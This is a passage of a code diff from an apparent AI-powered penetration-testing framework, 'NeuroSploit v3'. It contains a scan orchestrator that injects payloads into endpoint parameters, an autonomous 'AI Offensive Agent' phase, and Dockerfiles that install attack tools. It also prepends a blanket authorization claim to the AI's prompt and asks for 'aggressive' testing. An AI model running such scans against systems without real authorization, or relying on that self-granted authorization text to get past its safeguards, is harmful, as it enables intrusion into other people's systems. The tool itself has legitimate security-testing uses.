# Update status
scan.status = "running"
scan.started_at = datetime.utcnow()
scan.current_phase = "initializing"
scan.progress = 2
await self.db.commit()
await ws_manager.broadcast_scan_started(scan_id)
await ws_manager.broadcast_log(scan_id, "info", "=" * 60)
await ws_manager.broadcast_log(scan_id, "info", "NEUROSPLOIT v3 - AI-Powered Penetration Testing")
await ws_manager.broadcast_log(scan_id, "info", "=" * 60)
await ws_manager.broadcast_log(scan_id, "info", "AUTHORIZED PENETRATION TEST - Full permission granted")
await ws_manager.broadcast_progress(scan_id, 2, "Initializing...")
# Get targets
targets_result = await self.db.execute(
select(Target).where(Target.scan_id == scan_id)
)
targets = targets_result.scalars().all()
if not targets:
await ws_manager.broadcast_error(scan_id, "No targets found")
scan.status = "failed"
scan.error_message = "No targets found"
await self.db.commit()
return
await ws_manager.broadcast_log(scan_id, "info", f"Targets: {', '.join([t.url for t in targets])}")
# Check available tools
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", "Checking installed security tools...")
tools_status = await check_tools_installed()
installed_tools = [t for t, installed in tools_status.items() if installed]
await ws_manager.broadcast_log(scan_id, "info", f"Available: {', '.join(installed_tools[:15])}...")
# Get prompt content
prompt_content = await self._get_prompt_content(scan)
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", "User Prompt:")
await ws_manager.broadcast_log(scan_id, "debug", f"{prompt_content[:300]}...")
# Phase 1: REAL Reconnaissance (if enabled)
recon_data = {}
if scan.recon_enabled:
scan.current_phase = "recon"
await self.db.commit()
await ws_manager.broadcast_phase_change(scan_id, "recon")
await ws_manager.broadcast_progress(scan_id, 5, "Starting reconnaissance...")
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
await ws_manager.broadcast_log(scan_id, "info", "PHASE 1: RECONNAISSANCE")
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
recon_integration = ReconIntegration(scan_id)
depth = "medium" if scan.scan_type == "full" else "quick"
for target in targets:
await ws_manager.broadcast_log(scan_id, "info", f"Target: {target.url}")
target_recon = await recon_integration.run_full_recon(target.url, depth=depth)
recon_data = self._merge_recon_data(recon_data, target_recon)
# Save discovered endpoints to database
for endpoint_data in target_recon.get("endpoints", []):
if isinstance(endpoint_data, dict):
endpoint = Endpoint(
scan_id=scan_id,
target_id=target.id,
url=endpoint_data.get("url", ""),
method="GET",
path=endpoint_data.get("path", "/"),
response_status=endpoint_data.get("status"),
content_type=endpoint_data.get("content_type", "")
)
self.db.add(endpoint)
scan.total_endpoints += 1
await self.db.commit()
recon_endpoints = scan.total_endpoints
recon_urls = len(recon_data.get("urls", []))
await ws_manager.broadcast_log(scan_id, "info", f"Recon found: {recon_endpoints} endpoints, {recon_urls} URLs")
# Phase 1.5: AUTONOMOUS DISCOVERY (if recon found little)
endpoints_count = scan.total_endpoints + len(recon_data.get("urls", []))
if endpoints_count < 10:
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
await ws_manager.broadcast_log(scan_id, "info", "AUTONOMOUS DISCOVERY MODE")
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
await ws_manager.broadcast_log(scan_id, "warning", "Recon found limited data. Activating autonomous scanner...")
await ws_manager.broadcast_progress(scan_id, 20, "Autonomous endpoint discovery...")
# Create log callback for autonomous scanner
async def scanner_log(level: str, message: str):
await ws_manager.broadcast_log(scan_id, level, message)
for target in targets:
async with AutonomousScanner(
scan_id=scan_id,
log_callback=scanner_log,
timeout=15,
max_depth=3
) as scanner:
autonomous_results = await scanner.run_autonomous_scan(
target_url=target.url,
recon_data=recon_data
)
# Merge autonomous results
for ep in autonomous_results.get("endpoints", []):
if isinstance(ep, dict):
endpoint = Endpoint(
scan_id=scan_id,
target_id=target.id,
url=ep.get("url", ""),
method=ep.get("method", "GET"),
path=ep.get("url", "").split("?")[0].split("/")[-1] or "/"
)
self.db.add(endpoint)
scan.total_endpoints += 1
# Add URLs to recon data
recon_data["urls"] = recon_data.get("urls", []) + [
ep.get("url") for ep in autonomous_results.get("endpoints", [])
if isinstance(ep, dict)
]
recon_data["directories"] = autonomous_results.get("directories_found", [])
recon_data["parameters"] = autonomous_results.get("parameters_found", [])
# Save autonomous vulnerabilities directly
for vuln in autonomous_results.get("vulnerabilities", []):
db_vuln = Vulnerability(
scan_id=scan_id,
title=f"{vuln['type'].replace('_', ' ').title()} on {vuln['endpoint'][:50]}",
vulnerability_type=vuln["type"],
severity=self._confidence_to_severity(vuln["confidence"]),
description=vuln["evidence"],
affected_endpoint=vuln["endpoint"],
poc_payload=vuln["payload"],
poc_request=str(vuln.get("request", {}))[:5000],
poc_response=str(vuln.get("response", {}))[:5000]
)
self.db.add(db_vuln)
await ws_manager.broadcast_vulnerability_found(scan_id, {
"id": db_vuln.id,
"title": db_vuln.title,
"severity": db_vuln.severity,
"type": vuln["type"],
"endpoint": vuln["endpoint"]
})
await self.db.commit()
await ws_manager.broadcast_log(scan_id, "info", f"Autonomous discovery complete. Total endpoints: {scan.total_endpoints}")
# Phase 2: AI Prompt Processing
scan.current_phase = "analyzing"
await self.db.commit()
await ws_manager.broadcast_phase_change(scan_id, "analyzing")
await ws_manager.broadcast_progress(scan_id, 40, "AI analyzing prompt and data...")
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
await ws_manager.broadcast_log(scan_id, "info", "PHASE 2: AI ANALYSIS")
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
# Enhance prompt with authorization
enhanced_prompt = f"{GLOBAL_AUTHORIZATION}\n\nUSER REQUEST:\n{prompt_content}"
# Get AI-generated testing plan
await ws_manager.broadcast_log(scan_id, "info", "AI processing prompt and determining attack strategy...")
testing_plan = await self.ai_processor.process_prompt(
prompt=enhanced_prompt,
recon_data=recon_data,
target_info={"targets": [t.url for t in targets]}
)
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", "AI TESTING PLAN:")
await ws_manager.broadcast_log(scan_id, "info", f" Vulnerability Types: {', '.join(testing_plan.vulnerability_types[:10])}")
if len(testing_plan.vulnerability_types) > 10:
await ws_manager.broadcast_log(scan_id, "info", f" ... and {len(testing_plan.vulnerability_types) - 10} more types")
await ws_manager.broadcast_log(scan_id, "info", f" Testing Focus: {', '.join(testing_plan.testing_focus[:5])}")
await ws_manager.broadcast_log(scan_id, "info", f" Depth: {testing_plan.testing_depth}")
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", f"AI Reasoning: {testing_plan.ai_reasoning[:300]}...")
await ws_manager.broadcast_progress(scan_id, 45, f"Testing {len(testing_plan.vulnerability_types)} vuln types")
# Phase 3: AI OFFENSIVE AGENT
scan.current_phase = "testing"
await self.db.commit()
await ws_manager.broadcast_phase_change(scan_id, "testing")
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
await ws_manager.broadcast_log(scan_id, "info", "PHASE 3: AI OFFENSIVE AGENT")
await ws_manager.broadcast_log(scan_id, "info", "=" * 40)
# Run the AI Offensive Agent for each target
for target in targets:
await ws_manager.broadcast_log(scan_id, "info", f"Deploying AI Agent on: {target.url}")
# Create log callback for the agent
async def agent_log(level: str, message: str):
await ws_manager.broadcast_log(scan_id, level, message)
# Build auth headers
auth_headers = self._build_auth_headers(scan)
async with AIPentestAgent(
target=target.url,
log_callback=agent_log,
auth_headers=auth_headers,
max_depth=5
) as agent:
agent_report = await agent.run()
# Save agent findings as vulnerabilities
for finding in agent_report.get("findings", []):
vuln = Vulnerability(
scan_id=scan_id,
title=f"{finding['type'].upper()} - {finding['endpoint'][:50]}",
vulnerability_type=finding["type"],
severity=finding["severity"],
description=finding["evidence"],
affected_endpoint=finding["endpoint"],
poc_payload=finding["payload"],
poc_request=finding.get("raw_request", "")[:5000],
poc_response=finding.get("raw_response", "")[:5000],
remediation=finding.get("impact", ""),
ai_analysis="\n".join(finding.get("exploitation_steps", []))
)
self.db.add(vuln)
await ws_manager.broadcast_vulnerability_found(scan_id, {
"id": vuln.id,
"title": vuln.title,
"severity": vuln.severity,
"type": finding["type"],
"endpoint": finding["endpoint"]
})
# Update endpoint count
scan.total_endpoints += agent_report.get("summary", {}).get("total_endpoints", 0)
await self.db.commit()
# Continue with additional AI-driven testing
# Get all endpoints to test
endpoints_result = await self.db.execute(
select(Endpoint).where(Endpoint.scan_id == scan_id)
)
endpoints = list(endpoints_result.scalars().all())
# Add URLs from recon as endpoints
for url in recon_data.get("urls", [])[:100]: # Test up to 100 URLs
if "?" in url and url not in [e.url for e in endpoints]:
endpoint = Endpoint(
scan_id=scan_id,
url=url,
method="GET",
path=url.split("?")[0].split("/")[-1] if "/" in url else "/"
)
self.db.add(endpoint)
endpoints.append(endpoint)
await self.db.commit()
# If STILL no endpoints, create from targets with common paths
if not endpoints:
await ws_manager.broadcast_log(scan_id, "warning", "No endpoints found. Creating test endpoints from targets...")
common_paths = [
"/", "/login", "/admin", "/api", "/search", "/user",
"/?id=1", "/?page=1", "/?q=test", "/?search=test"
]
for target in targets:
for path in common_paths:
url = target.url.rstrip("/") + path
endpoint = Endpoint(
scan_id=scan_id,
target_id=target.id,
url=url,
method="GET",
path=path
)
self.db.add(endpoint)
endpoints.append(endpoint)
scan.total_endpoints += 1
await self.db.commit()
await ws_manager.broadcast_log(scan_id, "info", f"Testing {len(endpoints)} endpoints for {len(testing_plan.vulnerability_types)} vuln types")
await ws_manager.broadcast_log(scan_id, "info", "")
# Test endpoints with AI-determined vulnerabilities
total_endpoints = len(endpoints)
async with DynamicVulnerabilityEngine() as engine:
for i, endpoint in enumerate(endpoints):
if self._stop_requested:
break
progress = 45 + int((i / total_endpoints) * 45)
await ws_manager.broadcast_progress(
scan_id, progress,
f"Testing {i+1}/{total_endpoints}: {endpoint.path or endpoint.url[:50]}"
)
# Log what we're testing
await ws_manager.broadcast_log(scan_id, "debug", f"[{i+1}/{total_endpoints}] Testing: {endpoint.url[:80]}")
await self._test_endpoint_with_ai(
scan=scan,
endpoint=endpoint,
testing_plan=testing_plan,
engine=engine,
recon_data=recon_data
)
# Update counts
await self._update_vulnerability_counts(scan)
# Phase 4: Complete
scan.status = "completed"
scan.completed_at = datetime.utcnow()
scan.progress = 100
scan.current_phase = "completed"
await self.db.commit()
await ws_manager.broadcast_log(scan_id, "info", "")
await ws_manager.broadcast_log(scan_id, "info", "=" * 60)
await ws_manager.broadcast_log(scan_id, "info", "SCAN COMPLETE")
await ws_manager.broadcast_log(scan_id, "info", "=" * 60)
await ws_manager.broadcast_progress(scan_id, 100, "Scan complete!")
await ws_manager.broadcast_log(scan_id, "info", f"Endpoints Tested: {scan.total_endpoints}")
await ws_manager.broadcast_log(scan_id, "info", f"Vulnerabilities Found: {scan.total_vulnerabilities}")
await ws_manager.broadcast_log(scan_id, "info", f" Critical: {scan.critical_count}")
await ws_manager.broadcast_log(scan_id, "info", f" High: {scan.high_count}")
await ws_manager.broadcast_log(scan_id, "info", f" Medium: {scan.medium_count}")
await ws_manager.broadcast_log(scan_id, "info", f" Low: {scan.low_count}")
await ws_manager.broadcast_scan_completed(scan_id, {
"total_endpoints": scan.total_endpoints,
"total_vulnerabilities": scan.total_vulnerabilities,
"critical": scan.critical_count,
"high": scan.high_count,
"medium": scan.medium_count,
"low": scan.low_count
})
except Exception as e:
import traceback
error_msg = f"Scan error: {str(e)}"
print(f"Scan error: {traceback.format_exc()}")
try:
result = await self.db.execute(select(Scan).where(Scan.id == scan_id))
scan = result.scalar_one_or_none()
if scan:
scan.status = "failed"
scan.error_message = str(e)
scan.completed_at = datetime.utcnow()
await self.db.commit()
except:
pass
await ws_manager.broadcast_error(scan_id, error_msg)
await ws_manager.broadcast_log(scan_id, "error", f"ERROR: {error_msg}")
def _confidence_to_severity(self, confidence: float) -> str:
"""Convert confidence score to severity level"""
if confidence >= 0.9:
return "critical"
elif confidence >= 0.7:
return "high"
elif confidence >= 0.5:
return "medium"
else:
return "low"
async def _get_prompt_content(self, scan: Scan) -> str:
"""Get the prompt content for the scan"""
if scan.custom_prompt:
return scan.custom_prompt
if scan.prompt_id:
for preset in PRESET_PROMPTS:
if preset["id"] == scan.prompt_id:
return preset["content"]
from backend.models import Prompt
result = await self.db.execute(
select(Prompt).where(Prompt.id == scan.prompt_id)
)
prompt = result.scalar_one_or_none()
if prompt:
return prompt.content
return """Perform a comprehensive security assessment.
Test for all common vulnerabilities including:
- XSS (reflected, stored, DOM)
- SQL Injection (error, blind, time-based)
- Command Injection and RCE
- LFI/RFI and Path Traversal
- SSRF
- Authentication and Session issues
- Authorization flaws (IDOR, BOLA)
- Security misconfigurations
- API vulnerabilities
- Business logic flaws
Be thorough and test all discovered endpoints aggressively.
"""
def _merge_recon_data(self, base: Dict, new: Dict) -> Dict:
"""Merge recon data dictionaries"""
for key, value in new.items():
if key in base:
if isinstance(value, list):
base[key] = list(set(base[key] + value))
elif isinstance(value, dict):
base[key].update(value)
else:
base[key] = value
return base
async def _test_endpoint_with_ai(
self,
scan: Scan,
endpoint: Endpoint,
testing_plan,
engine: DynamicVulnerabilityEngine,
recon_data: Dict
):
"""Test an endpoint using AI-determined vulnerability types"""
import aiohttp
async def progress_callback(message: str):
await ws_manager.broadcast_log(scan.id, "debug", f" {message}")
for vuln_type in testing_plan.vulnerability_types:
if self._stop_requested:
break
try:
# Get payloads for this vulnerability type
payloads = await self.payload_generator.get_payloads(
vuln_type=vuln_type,
endpoint=endpoint,
context={"testing_plan": testing_plan.__dict__, "recon": recon_data}
)
if not payloads:
continue
# Test payloads
for payload in payloads[:5]: # Limit payloads per type
result = await self._execute_payload_test(
endpoint=endpoint,
vuln_type=vuln_type,
payload=payload,
scan=scan # Pass scan for authentication
)
if result and result.get("is_vulnerable"):
# Use AI to analyze and confirm
ai_analysis = await self.ai_analyzer.analyze_finding(
vuln_type=vuln_type,
request=result.get("request", {}),
response=result.get("response", {}),
payload=payload
)
confidence = ai_analysis.get("confidence", result.get("confidence", 0.5))
if confidence >= 0.5: # Lower threshold to catch more
# Create vulnerability record
vuln = Vulnerability(
scan_id=scan.id,
title=f"{vuln_type.replace('_', ' ').title()} on {endpoint.path or endpoint.url}",
vulnerability_type=vuln_type,
severity=ai_analysis.get("severity", self._confidence_to_severity(confidence)),
description=ai_analysis.get("evidence", result.get("evidence", "")),
affected_endpoint=endpoint.url,
poc_payload=payload,
poc_request=str(result.get("request", {}))[:5000],
poc_response=str(result.get("response", {}).get("body_preview", ""))[:5000],
remediation=ai_analysis.get("remediation", ""),
ai_analysis=ai_analysis.get("exploitation_path", "")
)
self.db.add(vuln)
await ws_manager.broadcast_vulnerability_found(scan.id, {
"id": vuln.id,
"title": vuln.title,
"severity": vuln.severity,
"type": vuln_type,
"endpoint": endpoint.url
})
await ws_manager.broadcast_log(
scan.id, "warning",
f" FOUND: {vuln.title} [{vuln.severity.upper()}]"
)
break # Found vulnerability, move to next type
except Exception as e:
await ws_manager.broadcast_log(scan.id, "debug", f" Error testing {vuln_type}: {str(e)}")
await self.db.commit()
def _build_auth_headers(self, scan: Scan) -> Dict[str, str]:
"""Build authentication headers from scan configuration"""
headers = {"User-Agent": "NeuroSploit/3.0"}
# Add custom headers
if scan.custom_headers:
headers.update(scan.custom_headers)
# Add authentication
if scan.auth_type and scan.auth_credentials:
creds = scan.auth_credentials
if scan.auth_type == "cookie" and "cookie" in creds:
headers["Cookie"] = creds["cookie"]
elif scan.auth_type == "bearer" and "bearer_token" in creds:
headers["Authorization"] = f"Bearer {creds['bearer_token']}"
elif scan.auth_type == "basic" and "username" in creds and "password" in creds:
import base64
credentials = f"{creds['username']}:{creds['password']}"
encoded = base64.b64encode(credentials.encode()).decode()
headers["Authorization"] = f"Basic {encoded}"
elif scan.auth_type == "header" and "header_name" in creds and "header_value" in creds:
headers[creds["header_name"]] = creds["header_value"]
return headers
async def _execute_payload_test(
self,
endpoint: Endpoint,
vuln_type: str,
payload: str,
scan: Optional[Scan] = None
) -> Optional[Dict]:
"""Execute a single payload test with optional authentication"""
import aiohttp
try:
# Determine where to inject payload
url = endpoint.url
params = {}
# Build headers with authentication if available
if scan:
headers = self._build_auth_headers(scan)
else:
headers = {"User-Agent": "NeuroSploit/3.0"}
if "?" in url:
base_url, query = url.split("?", 1)
for param in query.split("&"):
if "=" in param:
key, value = param.split("=", 1)
params[key] = payload # Inject into all params
url = base_url
else:
# Add payload as common parameter
params = {"q": payload, "search": payload, "id": payload, "page": payload}
timeout = aiohttp.ClientTimeout(total=15)
connector = aiohttp.TCPConnector(ssl=False)
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
async with session.get(url, params=params, headers=headers, allow_redirects=False) as response:
body = await response.text()
# Basic vulnerability detection
is_vulnerable = False
confidence = 0.0
evidence = ""
if vuln_type in ["xss_reflected", "xss_stored"]:
if payload in body:
is_vulnerable = True
confidence = 0.7
evidence = "Payload reflected in response"
elif vuln_type in ["sqli_error", "sqli_blind"]:
error_patterns = ["sql", "mysql", "syntax error", "query", "oracle", "postgresql", "sqlite", "database", "odbc", "jdbc"]
body_lower = body.lower()
for pattern in error_patterns:
if pattern in body_lower:
is_vulnerable = True
confidence = 0.8
evidence = f"SQL error pattern found: {pattern}"
break
elif vuln_type == "lfi":
if "root:" in body or "[extensions]" in body or "boot.ini" in body.lower():
is_vulnerable = True
confidence = 0.9
evidence = "File content detected"
elif vuln_type == "command_injection":
if "uid=" in body or "bin/" in body or "Volume Serial" in body:
is_vulnerable = True
confidence = 0.9
evidence = "Command execution detected"
elif vuln_type == "open_redirect":
if response.status in [301, 302, 303, 307, 308]:
location = response.headers.get("Location", "")
if payload in location or "evil" in location.lower():
is_vulnerable = True
confidence = 0.7
evidence = f"Redirect to: {location}"
elif vuln_type == "ssti":
# Check for template injection markers
if "49" in body or "7777777" in body: # Common test: 7*7 or 7*7*7*7*7*7*7
is_vulnerable = True
confidence = 0.8
evidence = "Template execution detected"
return {
"is_vulnerable": is_vulnerable,
"confidence": confidence,
"evidence": evidence,
"request": {"url": url, "params": params, "payload": payload},
"response": {
"status": response.status,
"headers": dict(response.headers),
"body_preview": body[:2000]
}
}
except asyncio.TimeoutError:
# Timeout might indicate time-based injection
if vuln_type in ["sqli_blind", "sqli_time"]:
return {
"is_vulnerable": True,
"confidence": 0.6,
"evidence": "Request timed out - possible time-based injection",
"request": {"url": endpoint.url, "payload": payload},
"response": {"status": 0, "body_preview": "TIMEOUT"}
}
return None
except Exception as e:
return None
async def _update_vulnerability_counts(self, scan: Scan):
"""Update vulnerability counts in scan"""
from sqlalchemy import func
for severity in ["critical", "high", "medium", "low", "info"]:
result = await self.db.execute(
select(func.count()).select_from(Vulnerability)
.where(Vulnerability.scan_id == scan.id)
.where(Vulnerability.severity == severity)
)
count = result.scalar() or 0
setattr(scan, f"{severity}_count", count)
result = await self.db.execute(
select(func.count()).select_from(Vulnerability)
.where(Vulnerability.scan_id == scan.id)
)
scan.total_vulnerabilities = result.scalar() or 0
result = await self.db.execute(
select(func.count()).select_from(Endpoint)
.where(Endpoint.scan_id == scan.id)
)
scan.total_endpoints = result.scalar() or 0
await self.db.commit()
+45
View File
@@ -0,0 +1,45 @@
# NeuroSploit v3 - LITE Docker Compose
# Fast builds without external security tools
# Usage: docker compose -f docker-compose.lite.yml up --build
services:
backend:
build:
context: .
dockerfile: docker/Dockerfile.backend.lite
container_name: neurosploit-backend
env_file:
- .env
environment:
- ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY:-}
- OPENAI_API_KEY=${OPENAI_API_KEY:-}
- DATABASE_URL=sqlite+aiosqlite:///./data/neurosploit.db
volumes:
- neurosploit-data:/app/data
ports:
- "8000:8000"
restart: unless-stopped
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8000/api/health"]
interval: 30s
timeout: 10s
retries: 3
frontend:
build:
context: .
dockerfile: docker/Dockerfile.frontend
container_name: neurosploit-frontend
ports:
- "3000:80"
depends_on:
backend:
condition: service_healthy
restart: unless-stopped
volumes:
neurosploit-data:
networks:
default:
name: neurosploit-network
+41 -6
View File
@@ -1,9 +1,44 @@
services:
dvwa:
image: vulnerables/web-dvwa
container_name: dvwa
ports:
- "8080:80"
backend:
build:
context: .
# Use Dockerfile.backend.lite for faster builds (no security tools)
# Use Dockerfile.backend for full version with all tools
dockerfile: docker/Dockerfile.backend
container_name: neurosploit-backend
env_file:
- .env
environment:
- MYSQL_PASS=password
# These override .env if set
- ANTHROPIC_API_KEY=${ANTHROPIC_API_KEY:-}
- OPENAI_API_KEY=${OPENAI_API_KEY:-}
- DATABASE_URL=sqlite+aiosqlite:///./data/neurosploit.db
volumes:
- neurosploit-data:/app/data
ports:
- "8000:8000"
restart: unless-stopped
healthcheck:
test: ["CMD", "curl", "-f", "http://localhost:8000/api/health"]
interval: 30s
timeout: 10s
retries: 3
frontend:
build:
context: .
dockerfile: docker/Dockerfile.frontend
container_name: neurosploit-frontend
ports:
- "3000:80"
depends_on:
backend:
condition: service_healthy
restart: unless-stopped
volumes:
neurosploit-data:
networks:
default:
name: neurosploit-network
+103
View File
@@ -0,0 +1,103 @@
# NeuroSploit v3 - Optimized Multi-Stage Dockerfile
# Dramatically reduces build time and image size
# Supports ARM64 (Apple Silicon) and AMD64
# =============================================================================
# STAGE 1: Go Tools Builder
# =============================================================================
FROM golang:1.22-alpine AS go-builder
RUN apk add --no-cache git
WORKDIR /build
# Install Go tools in parallel where possible
RUN go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest & \
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest & \
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest & \
go install -v github.com/tomnomnom/waybackurls@latest & \
go install -v github.com/ffuf/ffuf/v2@latest & \
wait
RUN go install -v github.com/projectdiscovery/katana/cmd/katana@latest & \
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest & \
go install -v github.com/lc/gau/v2/cmd/gau@latest & \
go install -v github.com/tomnomnom/gf@latest & \
go install -v github.com/tomnomnom/qsreplace@latest & \
wait
RUN go install -v github.com/hahwul/dalfox/v2@latest & \
go install -v github.com/OJ/gobuster/v3@latest & \
go install -v github.com/jaeles-project/gospider@latest & \
go install -v github.com/tomnomnom/anew@latest & \
wait
# Optional tools (less critical)
RUN go install -v github.com/projectdiscovery/naabu/v2/cmd/naabu@latest 2>/dev/null || true
RUN go install -v github.com/hakluke/hakrawler@latest 2>/dev/null || true
# =============================================================================
# STAGE 2: Python Dependencies
# =============================================================================
FROM python:3.11-slim AS python-deps
WORKDIR /app
COPY backend/requirements.txt .
RUN pip install --no-cache-dir --user -r requirements.txt && \
pip install --no-cache-dir --user arjun wafw00f
# =============================================================================
# STAGE 3: Final Runtime Image
# =============================================================================
FROM python:3.11-slim AS runtime
# Install only essential runtime dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
wget \
git \
dnsutils \
nmap \
sqlmap \
jq \
ca-certificates \
libpcap0.8 \
&& rm -rf /var/lib/apt/lists/* \
&& apt-get clean
WORKDIR /app
# Copy Go binaries from builder (may be partial if some tools failed)
COPY --from=go-builder /go/bin/ /usr/local/bin/
# Note: Rust tools (feroxbuster) removed for faster builds
# Install via: cargo install feroxbuster (if needed)
# Copy Python packages
COPY --from=python-deps /root/.local /root/.local
ENV PATH=/root/.local/bin:$PATH
# Copy application code
COPY backend/ ./backend/
COPY prompts/ ./prompts/
# Create data directories
RUN mkdir -p data/reports data/scans data/recon /root/.config/nuclei
# Download wordlists (small subset for faster builds)
RUN mkdir -p /opt/wordlists && \
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt -O /opt/wordlists/common.txt || true && \
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt -O /opt/wordlists/subdomains-5000.txt || true
# Update nuclei templates (runs on first startup if needed)
RUN nuclei -update-templates -silent 2>/dev/null || true
# Health check
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \
CMD curl -f http://localhost:8000/api/health || exit 1
EXPOSE 8000
CMD ["python", "-m", "uvicorn", "backend.main:app", "--host", "0.0.0.0", "--port", "8000"]
+32
View File
@@ -0,0 +1,32 @@
# NeuroSploit v3 - LITE Dockerfile (Fast Build)
# Minimal image without external security tools
# Use this for development or when you don't need the recon tools
FROM python:3.11-slim
# Install minimal dependencies
RUN apt-get update && apt-get install -y --no-install-recommends \
curl \
ca-certificates \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
# Install Python dependencies
COPY backend/requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
# Copy application code
COPY backend/ ./backend/
COPY prompts/ ./prompts/
# Create data directories
RUN mkdir -p data/reports data/scans data/recon
# Health check
HEALTHCHECK --interval=30s --timeout=10s --start-period=5s --retries=3 \
CMD curl -f http://localhost:8000/api/health || exit 1
EXPOSE 8000
CMD ["python", "-m", "uvicorn", "backend.main:app", "--host", "0.0.0.0", "--port", "8000"]
+29
View File
@@ -0,0 +1,29 @@
# Build stage
FROM node:20-alpine AS builder
WORKDIR /app
# Copy package files
COPY frontend/package*.json ./
# Install dependencies
RUN npm install
# Copy source code
COPY frontend/ ./
# Build the application
RUN npm run build
# Production stage
FROM nginx:alpine
# Copy built assets
COPY --from=builder /app/dist /usr/share/nginx/html
# Copy nginx configuration
COPY docker/nginx.conf /etc/nginx/conf.d/default.conf
EXPOSE 80
CMD ["nginx", "-g", "daemon off;"]
+90
View File
@@ -0,0 +1,90 @@
# NeuroSploit v3 - Security Tools Runner Container
# Ephemeral container for running security tools in isolation
FROM golang:1.22-alpine AS go-builder
RUN apk add --no-cache git build-base
WORKDIR /build
# Install essential Go security tools
RUN go install -v github.com/ffuf/ffuf/v2@latest && \
go install -v github.com/OJ/gobuster/v3@latest && \
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest && \
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest && \
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest && \
go install -v github.com/projectdiscovery/katana/cmd/katana@latest && \
go install -v github.com/hahwul/dalfox/v2@latest && \
go install -v github.com/tomnomnom/waybackurls@latest
# Rust tools builder
FROM rust:1.75-alpine AS rust-builder
RUN apk add --no-cache musl-dev openssl-dev openssl-libs-static pkgconf
# Install feroxbuster
RUN cargo install feroxbuster --locked
# Final runtime image
FROM alpine:3.19
# Install runtime dependencies and tools
RUN apk add --no-cache \
bash \
curl \
wget \
nmap \
nmap-scripts \
python3 \
py3-pip \
git \
jq \
bind-tools \
openssl \
libpcap \
ca-certificates \
nikto \
&& rm -rf /var/cache/apk/*
# Install Python security tools
RUN pip3 install --no-cache-dir --break-system-packages \
sqlmap \
wfuzz \
dirsearch \
arjun \
wafw00f \
whatweb 2>/dev/null || pip3 install --no-cache-dir --break-system-packages sqlmap wfuzz
# Copy Go binaries
COPY --from=go-builder /go/bin/* /usr/local/bin/
# Copy Rust binaries
COPY --from=rust-builder /usr/local/cargo/bin/feroxbuster /usr/local/bin/
# Install dirb
RUN apk add --no-cache dirb 2>/dev/null || \
(wget -q https://downloads.sourceforge.net/project/dirb/dirb/2.22/dirb222.tar.gz && \
tar -xzf dirb222.tar.gz && cd dirb222 && ./configure && make && make install && \
cd .. && rm -rf dirb222*) || true
# Create wordlists directory
RUN mkdir -p /opt/wordlists /opt/output
# Download common wordlists
RUN wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt \
-O /opt/wordlists/common.txt && \
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/directory-list-2.3-medium.txt \
-O /opt/wordlists/directory-list-medium.txt && \
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-large-files.txt \
-O /opt/wordlists/raft-files.txt && \
wget -q https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt \
-O /opt/wordlists/subdomains-5000.txt
# Update nuclei templates
RUN nuclei -update-templates -silent 2>/dev/null || true
# Set working directory
WORKDIR /opt/output
# Default command
ENTRYPOINT ["/bin/bash", "-c"]
+47
View File
@@ -0,0 +1,47 @@
server {
listen 80;
server_name localhost;
root /usr/share/nginx/html;
index index.html;
# Gzip compression
gzip on;
gzip_types text/plain text/css application/json application/javascript text/xml application/xml;
# API proxy
location /api {
proxy_pass http://backend:8000;
proxy_http_version 1.1;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
proxy_read_timeout 300s;
proxy_connect_timeout 75s;
}
# WebSocket proxy for scan updates
location /ws {
proxy_pass http://backend:8000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection "upgrade";
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_read_timeout 86400;
proxy_send_timeout 86400;
}
# Frontend routes - serve index.html for SPA
location / {
try_files $uri $uri/ /index.html;
}
# Cache static assets
location ~* \.(js|css|png|jpg|jpeg|gif|ico|svg|woff|woff2)$ {
expires 1y;
add_header Cache-Control "public, immutable";
}
}
+13
View File
@@ -0,0 +1,13 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<link rel="icon" type="image/svg+xml" href="/favicon.svg" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
